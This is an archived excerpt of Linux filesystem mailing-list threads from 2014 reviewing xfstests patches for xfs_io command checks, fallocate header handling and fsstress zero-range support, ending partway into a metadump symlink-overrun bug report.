+eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/ext4/group b/tests/ext4/group index 7e1a68b..dd2841e 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc quick 271 auto rw quick 301 aio dangerous ioctl rw stress 302 aio dangerous ioctl rw stress -- 1.8.3.1 From sandeen@sandeen.net Fri Feb 28 10:41:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E6087F3F for ; Fri, 28 Feb 2014 10:41:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96895AC009 for ; Fri, 28 Feb 2014 08:41:03 -0800 (PST) X-ASG-Debug-ID: 1393605661-04bdf05da9119bc0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id r8VmIRlBHJELcmee for ; Fri, 28 Feb 2014 08:41:01 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A351D6088CF0; Fri, 28 Feb 2014 10:41:00 -0600 (CST) Message-ID: <5310BC1B.4010700@sandeen.net> Date: Fri, 28 Feb 2014 10:40:59 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Lukas Czerner , linux-ext4@vger.kernel.org CC: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393605661 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 10:10 AM, Lukas Czerner wrote: > Currently there are several function testing various xfs_io commands. > This commit creates _require_xfs_io_command() to test any xfs_command. > > Signed-off-by: Lukas Czerner Nice, So to be clear, is the difference here that the explicitly listed commands also ensure that the running kernel supports it, whereas the default simply makes sure that xfs_io accepts it? I suppose it's self-explanatory. Looks good to me, Reviewed-by: Eric Sandeen > --- > common/rc | 72 +++++++++++++++++++++++++++++++++------------------------------ > 1 file changed, 38 insertions(+), 34 deletions(-) > > diff --git a/common/rc b/common/rc > index f2c3c3a..7f530d0 100644 > --- a/common/rc > +++ b/common/rc > @@ -1296,12 +1296,43 @@ _user_do() > fi > } > > +_require_xfs_io_command() > +{ > + if [ $# -ne 1 ] > + then > + echo "Usage: _require_xfs_io_command command" 1>&2 > + exit 1 > + fi > + command=$1 > + > + testfile=$TEST_DIR/$$.xfs_io > + case $command in > + "falloc" ) > + testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` > + ;; > + "fpunch" | "fcollapse" | "zero" ) > + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > + -c "$command 4k 8k" $testfile 2>&1` > + ;; > + "fiemap") > + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > + -c "fiemap -v" $testfile 2>&1` > + ;; > + *) > + testio=`$XFS_IO_PROG -c "$command help" 2>&1` > + esac > + > + rm -f $testfile 2>&1 > /dev/null > + echo $testio | grep -q "not found" && \ > + _notrun "xfs_io $command support is missing" > + echo $testio | grep -q "Operation not supported" && \ > + _notrun "xfs_io $command failed (old kernel/wrong fs?)" > +} > + > # check that xfs_io, kernel, and filesystem all support zero > _require_xfs_io_zero() > { > - testio=`$XFS_IO_PROG -c "zero help" 2>&1` > - echo $testio | grep -q 'command "zero" not found' && \ > - _notrun "zero command not supported" > + _require_xfs_io_command "zero" > } Nice, so now this actually *does* test the 2nd and 3rd items. :) > # check that xfs_io, glibc, kernel, and filesystem all (!) support > @@ -1309,54 +1340,27 @@ _require_xfs_io_zero() > # > _require_xfs_io_falloc() > { > - testfile=$TEST_DIR/$$.falloc > - testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` > - rm -f $testfile 2>&1 > /dev/null > - echo $testio | grep -q "not found" && \ > - _notrun "xfs_io fallocate support is missing" > - echo $testio | grep -q "Operation not supported" && \ > - _notrun "xfs_io fallocate command failed (old kernel/wrong fs?)" > + _require_xfs_io_command "falloc" > } > > # check that xfs_io, kernel and filesystem all support fallocate with hole > # punching > _require_xfs_io_falloc_punch() > { > - testfile=$TEST_DIR/$$.falloc > - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > - -c "fpunch 4k 8k" $testfile 2>&1` > - rm -f $testfile 2>&1 > /dev/null > - echo $testio | grep -q "not found" && \ > - _notrun "xfs_io fallocate punch support is missing" > - echo $testio | grep -q "Operation not supported" && \ > - _notrun "xfs_io fallocate punch command failed (no fs support?)" > + _require_xfs_io_command "fpunch" > } > > # check that xfs_io, kernel and filesystem all support fallocate with collapse > # range > _require_xfs_io_falloc_collapse() > { > - testfile=$TEST_DIR/$$.falloc > - testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ > - -c "fcollapse 4k 8k" $testfile 2>&1` > - rm -f $testfile 2>&1 > /dev/null > - echo $testio | grep -q "not found" && \ > - _notrun "xfs_io fallocate collapse range support is missing" > - echo $testio | grep -q "Operation not supported" && \ > - _notrun "xfs_io fallocate collapse range failed (no fs support?)" > + _require_xfs_io_command "fcollapse" > } > > # check that xfs_io, kernel and filesystem support fiemap > _require_xfs_io_fiemap() > { > - testfile=$TEST_DIR/$$.fiemap > - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > - -c "fiemap -v" $testfile 2>&1` > - rm -f $testfile 2>&1 > /dev/null > - echo $testio | grep -q "not found" && \ > - _notrun "xfs_io fiemap support is missing" > - echo $testio | grep -q "Operation not supported" && \ > - _notrun "xfs_io fiemap command failed (no fs support?)" > + _require_xfs_io_command "fiemap" > } > > # Check that a fs has enough free space (in 1024b blocks) > From lczerner@redhat.com Fri Feb 28 10:52:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B7B7A7F4E for ; Fri, 28 Feb 2014 10:52:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9042730406B for ; Fri, 28 Feb 2014 08:52:03 -0800 (PST) X-ASG-Debug-ID: 1393606321-04cb6c567610f750001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id P3qTRfSJCfFLnjss for ; Fri, 28 Feb 2014 08:52:02 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGq09q003232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:52:00 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGpvY0006980 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Feb 2014 11:51:59 -0500 Date: Fri, 28 Feb 2014 17:51:57 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Eric Sandeen cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands In-Reply-To: <5310BC1B.4010700@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 1/8] xfstests: Create single function for testing xfs_io commands Message-ID: References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <5310BC1B.4010700@sandeen.net> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393606322 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 28 Feb 2014, Eric Sandeen wrote: > Date: Fri, 28 Feb 2014 10:40:59 -0600 > From: Eric Sandeen > To: Lukas Czerner , linux-ext4@vger.kernel.org > Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 1/8] xfstests: Create single function for testing xfs_io > commands > > On 2/28/14, 10:10 AM, Lukas Czerner wrote: > > Currently there are several function testing various xfs_io commands. > > This commit creates _require_xfs_io_command() to test any xfs_command. > > > > Signed-off-by: Lukas Czerner > > Nice, > > So to be clear, is the difference here that the explicitly listed commands > also ensure that the running kernel supports it, whereas the default simply > makes sure that xfs_io accepts it? I suppose it's self-explanatory. The only command where we only tested xfs_io support was zero. Now we test both xfs_io and kernel support with every command. > > Looks good to me, > > Reviewed-by: Eric Sandeen Thanks! -Lukas > > > > > --- > > common/rc | 72 +++++++++++++++++++++++++++++++++------------------------------ > > 1 file changed, 38 insertions(+), 34 deletions(-) > > > > diff --git a/common/rc b/common/rc > > index f2c3c3a..7f530d0 100644 > > --- a/common/rc > > +++ b/common/rc > > @@ -1296,12 +1296,43 @@ _user_do() > > fi > > } > > > > +_require_xfs_io_command() > > +{ > > + if [ $# -ne 1 ] > > + then > > + echo "Usage: _require_xfs_io_command command" 1>&2 > > + exit 1 > > + fi > > + command=$1 > > + > > + testfile=$TEST_DIR/$$.xfs_io > > + case $command in > > + "falloc" ) > > + testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` > > + ;; > > + "fpunch" | "fcollapse" | "zero" ) > > + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > > + -c "$command 4k 8k" $testfile 2>&1` > > + ;; > > + "fiemap") > > + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > > + -c "fiemap -v" $testfile 2>&1` > > + ;; > > + *) > > + testio=`$XFS_IO_PROG -c "$command help" 2>&1` > > + esac > > + > > + rm -f $testfile 2>&1 > /dev/null > > + echo $testio | grep -q "not found" && \ > > + _notrun "xfs_io $command support is missing" > > + echo $testio | grep -q "Operation not supported" && \ > > + _notrun "xfs_io $command failed (old kernel/wrong fs?)" > > +} > > + > > # check that xfs_io, kernel, and filesystem all support zero > > _require_xfs_io_zero() > > { > > - testio=`$XFS_IO_PROG -c "zero help" 2>&1` > > - echo $testio | grep -q 'command "zero" not found' && \ > > - _notrun "zero command not supported" > > + _require_xfs_io_command "zero" > > } > > Nice, so now this actually *does* test the 2nd and 3rd items. :) > > > # check that xfs_io, glibc, kernel, and filesystem all (!) support > > @@ -1309,54 +1340,27 @@ _require_xfs_io_zero() > > # > > _require_xfs_io_falloc() > > { > > - testfile=$TEST_DIR/$$.falloc > > - testio=`$XFS_IO_PROG -F -f -c "falloc 0 1m" $testfile 2>&1` > > - rm -f $testfile 2>&1 > /dev/null > > - echo $testio | grep -q "not found" && \ > > - _notrun "xfs_io fallocate support is missing" > > - echo $testio | grep -q "Operation not supported" && \ > > - _notrun "xfs_io fallocate command failed (old kernel/wrong fs?)" > > + _require_xfs_io_command "falloc" > > } > > > > # check that xfs_io, kernel and filesystem all support fallocate with hole > > # punching > > _require_xfs_io_falloc_punch() > > { > > - testfile=$TEST_DIR/$$.falloc > > - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > > - -c "fpunch 4k 8k" $testfile 2>&1` > > - rm -f $testfile 2>&1 > /dev/null > > - echo $testio | grep -q "not found" && \ > > - _notrun "xfs_io fallocate punch support is missing" > > - echo $testio | grep -q "Operation not supported" && \ > > - _notrun "xfs_io fallocate punch command failed (no fs support?)" > > + _require_xfs_io_command "fpunch" > > } > > > > # check that xfs_io, kernel and filesystem all support fallocate with collapse > > # range > > _require_xfs_io_falloc_collapse() > > { > > - testfile=$TEST_DIR/$$.falloc > > - testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ > > - -c "fcollapse 4k 8k" $testfile 2>&1` > > - rm -f $testfile 2>&1 > /dev/null > > - echo $testio | grep -q "not found" && \ > > - _notrun "xfs_io fallocate collapse range support is missing" > > - echo $testio | grep -q "Operation not supported" && \ > > - _notrun "xfs_io fallocate collapse range failed (no fs support?)" > > + _require_xfs_io_command "fcollapse" > > } > > > > # check that xfs_io, kernel and filesystem support fiemap > > _require_xfs_io_fiemap() > > { > > - testfile=$TEST_DIR/$$.fiemap > > - testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > > - -c "fiemap -v" $testfile 2>&1` > > - rm -f $testfile 2>&1 > /dev/null > > - echo $testio | grep -q "not found" && \ > > - _notrun "xfs_io fiemap support is missing" > > - echo $testio | grep -q "Operation not supported" && \ > > - _notrun "xfs_io fiemap command failed (no fs support?)" > > + _require_xfs_io_command "fiemap" > > } > > > > # Check that a fs has enough free space (in 1024b blocks) > > > > From sandeen@sandeen.net Fri Feb 28 11:17:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 691687F3F for ; Fri, 28 Feb 2014 11:17:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 57684304039 for ; Fri, 28 Feb 2014 09:17:44 -0800 (PST) X-ASG-Debug-ID: 1393607862-04cb6c5676112390001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 04PAuDjoHLsuaNqS for ; Fri, 28 Feb 2014 09:17:43 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C73EC63C59A4; Fri, 28 Feb 2014 11:17:42 -0600 (CST) Message-ID: <5310C4B5.9010901@sandeen.net> Date: Fri, 28 Feb 2014 11:17:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Lukas Czerner , linux-ext4@vger.kernel.org CC: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 4/8] xfstests: Move fallocate include into global.h References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-4-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 4/8] xfstests: Move fallocate include into global.h In-Reply-To: <1393603865-26198-4-git-send-email-lczerner@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393607863 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 10:11 AM, Lukas Czerner wrote: > Move the inclusion of falloc.h with all it's possible defines for the > fallocate mode into global.h header file so we do not have to include > and define it manually in every tool using fallocate. > > Signed-off-by: Lukas Czerner I like the direction, but I think this changes behavior a little bit. #ifdef FALLOCATE came from an autoconf macro: AC_DEFUN([AC_PACKAGE_WANT_FALLOCATE], [ AC_MSG_CHECKING([for fallocate]) AC_TRY_LINK([ #define _GNU_SOURCE #define _FILE_OFFSET_BITS 64 #include #include ], [ fallocate(0, 0, 0, 0); ], [ have_fallocate=true; AC_MSG_RESULT(yes) ], [ have_fallocate=false; AC_MSG_RESULT(no) ]) AC_SUBST(have_fallocate) ]) (at least I think so?) and so #ifdef FALLOCATE meant that an fallocate syscall actually exists. With your changes, the test is now whether the fallocate *header* exists. falloc.h is part of kernel-headers, not glibc. So it's possible that there's a divergence between the two. I think it's probably ok. Build-time checks should determine whether we are able to _build_ and yours do that. Each caller of fallocate (or each test using it) then probably needs to ensure that the functionality it wants is actually available at runtime and handle it if not. So I'll give this a Reviewed-by: Eric Sandeen but maybe the above rambling will ring alarm bells for someone else... ;) -Eric > --- > configure.ac | 3 ++- > ltp/fsstress.c | 11 ++--------- > ltp/fsx.c | 11 ++++------- > src/global.h | 25 +++++++++++++++++++++++++ > 4 files changed, 33 insertions(+), 17 deletions(-) > > diff --git a/configure.ac b/configure.ac > index 6fba3ad..2f95c4c 100644 > --- a/configure.ac > +++ b/configure.ac > @@ -25,7 +25,8 @@ AC_HEADER_STDC > sys/wait.h \ > sys/types.h \ > strings.h \ > - err.h > + err.h \ > + linux/falloc.h > ]) > AC_CHECK_HEADERS([ sys/fs/xfs_fsops.h \ > sys/fs/xfs_itable.h \ > diff --git a/ltp/fsstress.c b/ltp/fsstress.c > index c56f168..7dec7c6 100644 > --- a/ltp/fsstress.c > +++ b/ltp/fsstress.c > @@ -27,13 +27,6 @@ > #ifdef HAVE_LINUX_FIEMAP_H > #include > #endif > -#ifdef FALLOCATE > -#include > -#ifndef FALLOC_FL_PUNCH_HOLE > -/* Copy-paste from linux/falloc.h */ > -#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ > -#endif > -#endif > #ifndef HAVE_ATTR_LIST > #define attr_list(path, buf, size, flags, cursor) (errno = -ENOSYS, -1) > #endif > @@ -2085,7 +2078,7 @@ dwrite_f(int opno, long r) > void > fallocate_f(int opno, long r) > { > -#ifdef FALLOCATE > +#ifdef HAVE_LINUX_FALLOC_H > int e; > pathname_t f; > int fd; > @@ -2507,7 +2500,7 @@ mknod_f(int opno, long r) > void > punch_f(int opno, long r) > { > -#ifdef FALLOCATE > +#ifdef HAVE_LINUX_FALLOC_H > int e; > pathname_t f; > int fd; > diff --git a/ltp/fsx.c b/ltp/fsx.c > index 2f1e3e8..c36a038 100644 > --- a/ltp/fsx.c > +++ b/ltp/fsx.c > @@ -33,9 +33,6 @@ > #ifdef AIO > #include > #endif > -#ifdef FALLOCATE > -#include > -#endif > > #ifndef MAP_FILE > # define MAP_FILE 0 > @@ -882,7 +879,7 @@ do_punch_hole(unsigned offset, unsigned length) > } > #endif > > -#ifdef FALLOCATE > +#ifdef HAVE_LINUX_FALLOC_H > /* fallocate is basically a no-op unless extending, then a lot like a truncate */ > void > do_preallocate(unsigned offset, unsigned length) > @@ -1139,7 +1136,7 @@ usage(void) > " -A: Use the AIO system calls\n" > #endif > " -D startingop: debug output starting at specified operation\n" > -#ifdef FALLOCATE > +#ifdef HAVE_LINUX_FALLOC_H > " -F: Do not use fallocate (preallocation) calls\n" > #endif > #ifdef FALLOC_FL_PUNCH_HOLE > @@ -1296,7 +1293,7 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) > void > test_fallocate() > { > -#ifdef FALLOCATE > +#ifdef HAVE_LINUX_FALLOC_H > if (!lite && fallocate_calls) { > if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { > if(!quiet) > @@ -1306,7 +1303,7 @@ test_fallocate() > ftruncate(fd, 0); > } > } > -#else /* ! FALLOCATE */ > +#else /* ! HAVE_LINUX_FALLOC_H */ > fallocate_calls = 0; > #endif > > diff --git a/src/global.h b/src/global.h > index e6a2c2b..8180f66 100644 > --- a/src/global.h > +++ b/src/global.h > @@ -149,4 +149,29 @@ > #include > #endif > > +#ifdef HAVE_LINUX_FALLOC_H > +#include > + > +#ifndef FALLOC_FL_KEEP_SIZE > +#define FALLOC_FL_KEEP_SIZE 0x01 > +#endif > + > +#ifndef FALLOC_FL_PUNCH_HOLE > +#define FALLOC_FL_PUNCH_HOLE 0x02 > #endif > + > +#ifndef FALLOC_FL_NO_HIDE_STALE > +#define FALLOC_FL_NO_HIDE_STALE 0x04 > +#endif > + > +#ifndef FALLOC_FL_COLLAPSE_RANGE > +#define FALLOC_FL_COLLAPSE_RANGE 0x08 > +#endif > + > +#ifndef FALLOC_FL_ZERO_RANGE > +#define FALLOC_FL_ZERO_RANGE 0x10 > +#endif > + > +#endif /* HAVE_LINUX_FALLOC_H */ > + > +#endif /* GLOBAL_H */ > From sandeen@sandeen.net Fri Feb 28 11:40:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_PROFIT1 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B58B47F3F for ; Fri, 28 Feb 2014 11:40:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D997304039 for ; Fri, 28 Feb 2014 09:40:10 -0800 (PST) X-ASG-Debug-ID: 1393609209-04cb6c5678114be0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id CWpy26l8AbJr4jBd for ; Fri, 28 Feb 2014 09:40:09 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3806663C59A4; Fri, 28 Feb 2014 11:40:09 -0600 (CST) Message-ID: <5310C9F8.20009@sandeen.net> Date: Fri, 28 Feb 2014 11:40:08 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Lukas Czerner , linux-ext4@vger.kernel.org CC: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-5-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress In-Reply-To: <1393603865-26198-5-git-send-email-lczerner@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393609209 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 10:11 AM, Lukas Czerner wrote: > This commit adds fzero operation support for fsstress, which is meant to > exercise fallocate FALLOC_FL_ZERO_RANGE support. > > Also reorganise the common fallocate code into a single do_fallocate() > function and use flags use the right mode. > > Also in order to make more obvious which fallocate mode fsstress is > testing translate fallocate flags into human readable strings. Can you enhance that so that if it's passed a flag which isn't in the known array, it prints the leftover values? Otherwise they are silently dropped, which might be confusing. Handling the case where a flag is not in the array would future-proof it, I think. -Eric From sandeen@sandeen.net Fri Feb 28 11:44:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 56C907F3F for ; Fri, 28 Feb 2014 11:44:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 10CE78F8039 for ; Fri, 28 Feb 2014 09:44:14 -0800 (PST) X-ASG-Debug-ID: 1393609452-04bdf05da9123190001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id vapAlLBgFTJNzJsj for ; Fri, 28 Feb 2014 09:44:12 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D03D163C59A4; Fri, 28 Feb 2014 11:44:11 -0600 (CST) Message-ID: <5310CAEB.8080503@sandeen.net> Date: Fri, 28 Feb 2014 11:44:11 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer References: <1393568723-982-1-git-send-email-david@fromorbit.com> <1393568723-982-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer In-Reply-To: <1393568723-982-4-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393609452 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145608 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 12:25 AM, Dave Chinner wrote: > From: Dave Chinner > > In testing the previous metadump changes, fsstress generated an > inline symlink of 336 bytes in length. This caused corruption of the > restored filesystem that wasn't present in the original filesystem - > it corrupted the magic number of the next inode in the chunk. The > reason being that the symlink data is not null terminated in the > inode literal area, and hence when the symlink consumes the entire > literal area like so: > > xfs_db> daddr 0x42679 > xfs_db> p > 000: 494ea1ff 03010000 00000000 00000000 00000001 